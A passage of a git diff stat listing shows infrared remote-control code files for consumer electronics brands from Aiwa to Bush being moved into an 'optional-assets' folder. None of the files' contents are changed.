=> optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/VCR/127,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Aiwa/VCR/130,111.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Akai/CD Player/141,-1.ir | 0 .../_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir | 0 .../_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir | 0 .../_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir | 0 .../_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir | 0 .../_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir | 0 .../_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir | 0 .../_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aopen/Media PC/4,-1.ir | 0 .../_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apex/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir | 0 .../_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir | 0 .../_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir | 0 .../_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir | 0 .../_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apple/Apple TV/238,135.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apple/Computer/238,135.ir | 0 .../_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apple/MP3 Player/1,222.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apple/MP3 Player/238,135.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Apple/iPod/238,135.ir | 0 .../_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir | 0 .../_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/CD Player/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/CD Player/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Music System/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Music System/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Music System/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/19,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Receiver/25,-1.ir | 0 .../_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir | 0 .../_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir | 0 .../_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Tuner/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir | 0 .../_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir | 0 .../_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir | 0 .../_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir | 0 .../_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir | 0 .../_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir | 0 .../_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir | 0 .../_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir | 0 .../_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir | 0 .../_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Astro/Satellite/8,-1.ir | 0 .../_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir | 0 .../_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir | 0 .../_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir | 0 .../_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir | 0 .../_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir | 0 .../_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir | 0 .../_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir | 0 .../_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir | 0 .../_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir | 0 .../_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Atlona/Switcher/134,107.ir | 0 .../_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir | 0 .../_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir | 0 .../_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir | 0 .../_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir | 0 .../_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir | 0 .../_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir | 0 .../_CSV-IRDB_/Audio Authority/Switcher/64,159.ir | 0 .../_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Processor/16,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Receiver/16,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Receiver/17,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Receiver/23,-1.ir | 0 .../_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir | 0 .../_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir | 0 .../_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir | 0 .../_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir | 0 .../_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir | 0 .../_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Audiovox/Monitor/128,126.ir | 0 .../_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir | 0 .../_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Austar/Cable Box/32,224.ir | 0 .../_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir | 0 .../_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir | 0 .../_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir | 0 .../_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir | 0 .../_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir | 0 .../_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir | 0 .../_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir | 0 .../_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir | 0 .../_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Axonix/Media Server/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Axonix/MediaMax/17,20.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir | 0 .../_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir | 0 .../_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir | 0 .../_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir | 0 .../_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir | 0 .../_CSV-IRDB_/Barco/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/Barco/Video Projector/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir | 0 .../_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir | 0 .../_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir | 0 .../_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir | 0 .../_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir | 0 .../_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir | 0 .../_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/0,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/0,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/1,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/1,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/128,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/16,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/24,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bell/Satellite/7,-1.ir | 0 .../_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BenQ/Projector/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BenQ/Projector/72,80.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir | 0 .../_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir | 0 .../_CSV-IRDB_/Big Ben/Game Console/67,164.ir | 0 .../_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir | 0 .../_CSV-IRDB_/BnK_Components/Receiver/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/Receiver/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/Receiver/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/3-2-1/186,75.ir | 0 .../_CSV-IRDB_/Bose/CCF Conversion/186,133.ir | 0 .../_CSV-IRDB_/Bose/CCF Conversion/186,213.ir | 0 .../_CSV-IRDB_/Bose/CCF Conversion/186,229.ir | 0 .../_CSV-IRDB_/Bose/CCF Conversion/186,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,136.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,160.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,161.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,162.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,163.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,164.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,165.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,166.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,167.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,168.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,169.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,170.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,171.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,172.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,173.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,174.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,176.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,177.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,178.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,179.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,180.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,181.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,182.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,183.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,184.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,185.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,186.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,187.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,188.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,189.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,190.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,191.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Lifestyle/186,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Media Center/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Media Center/186,136.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,133.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,213.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,229.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Music Center/186,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Receiver/186,160.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Receiver/186,75.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/System/186,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Tuner/186,85.ir | 0 .../_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Boxlight/Projector/135,78.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Boxlight/Projector/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Boxlight/Projector/48,206.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Broksonic/VCR/128,123.ir | 0 .../_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir | 0 .../_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Bush/Light/29,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir | 0 .../{ => 